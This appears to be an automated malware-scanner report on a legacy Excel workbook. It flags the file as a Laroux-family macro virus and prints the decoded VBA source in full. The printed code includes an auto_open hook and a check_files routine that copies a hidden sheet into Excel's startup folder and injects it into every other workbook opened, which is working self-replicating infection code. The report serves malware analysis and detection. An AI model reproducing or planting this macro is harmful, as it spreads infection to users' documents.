MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a critical heuristic indicating it is an Excel 5 Laroux macro virus, and also contains VBA macros with an Auto_Open subroutine. The Auto_Open subroutine attempts to execute a function named 'check_files' upon sheet activation, which likely aims to download or execute further stages. The presence of the 'SGV.XLS' filename within the script suggests a potential dropped file or related component.
Heuristics 3
-
Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUSLegacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3012 bytes |
SHA-256: 9b305a481c1ddef4070d17e0f481be6e72772a8a2033aa3f95792a41bb3cff41 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "SGV"
'
' Insert_Date_Format Macro
' Macro to Insert the Correct Format for the NAB File
'
' Keyboard Shortcut: Ctrl+i
'
Sub Insert_Date_Format()
Attribute Insert_Date_Format.VB_ProcData.VB_Invoke_Func = " \n14"
Cells.Select
Cells.EntireColumn.AutoFit
ActiveWindow.Zoom = 75
Columns("I:I").Select
Selection.NumberFormat = "0.00"
Range("D1").Select
Selection.EntireColumn.Insert
Selection.EntireColumn.Insert
Selection.EntireColumn.Insert
ActiveCell.FormulaR1C1 = "=+RIGHT(RC[3],2)"
Range("E1").Select
ActiveCell.FormulaR1C1 = "=+MID(RC[2],4,2)"
Range("F1").Select
ActiveCell.FormulaR1C1 = "=+LEFT(RC[1],2)"
Range("D1:F1").Select
Selection.Copy
Range("D2:D16384").Select
ActiveSheet.Paste
Application.CutCopyMode = False
Selection.End(xlUp).Select
Columns("D:F").Select
Selection.Copy
Range("D1").Select
Selection.PasteSpecial Paste:=xlValues, Operation:=xlNone, _
SkipBlanks:=False, Transpose:=False
Range("D1").Select
Range("A1").Select
End Sub
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "SGV.XLS")
If m$ = "SGV.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("SGV").Visible = True
Sheets("SGV").Select
Sheets("SGV").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("SGV").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "SGV.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "SGV" Then
Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("SGV").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "SGV.XLS!check_files"
Case Else
End Select
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.